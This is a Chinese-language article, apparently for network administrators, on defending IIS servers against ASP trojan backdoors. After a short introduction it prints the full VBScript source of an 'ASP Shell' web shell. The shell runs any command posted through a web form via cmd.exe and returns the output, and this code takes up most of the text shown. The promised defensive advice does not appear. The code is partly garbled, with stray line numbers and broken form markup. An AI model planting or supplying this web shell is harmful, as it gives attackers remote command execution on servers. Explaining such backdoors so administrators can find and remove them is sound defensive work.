随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。
以下是第一款木马的代码:
1<title>ASP Shell</title>
1@ Language=VBScript
1
2Dim oScript
3Dim oScriptNet
4Dim oFileSys, oFile
5Dim szCMD, szTempFile
6On Error Resume Next
7\-- create the COM objects that we will be using --
8Set oScript = Server.CreateObject("WSCRIPT.SHELL")
9Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
10Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
11\-- check for a command that we have posted --
12szCMD = Request.Form(".CMD")
13If (szCMD <> "") Then
14\-- Use a poor mans pipe ... a temp file --
15szTempFile = "C:" & oFileSys.GetTempName( )
16Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
17Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
18End If
1<html>
2<body>
3<form ```"="" action="```
4= Request.ServerVariables(" method="POST" url")="">
5<input name=".CMD" size="45" type="text" value="```
6= szCMD
7```"/>
8<input type="submit" value="执行命令"/>
9</form>
10<pre>```
11
12If (IsObject(oFile)) Then
13\-- Read the output from our command and remove the temp file --
14On Error Resume Next
15Response.Write Server.HTMLEncode(oFile.ReadAll)
16oFile.Close
17Call oFileSys.DeleteFile(szTempFile, True)
18End If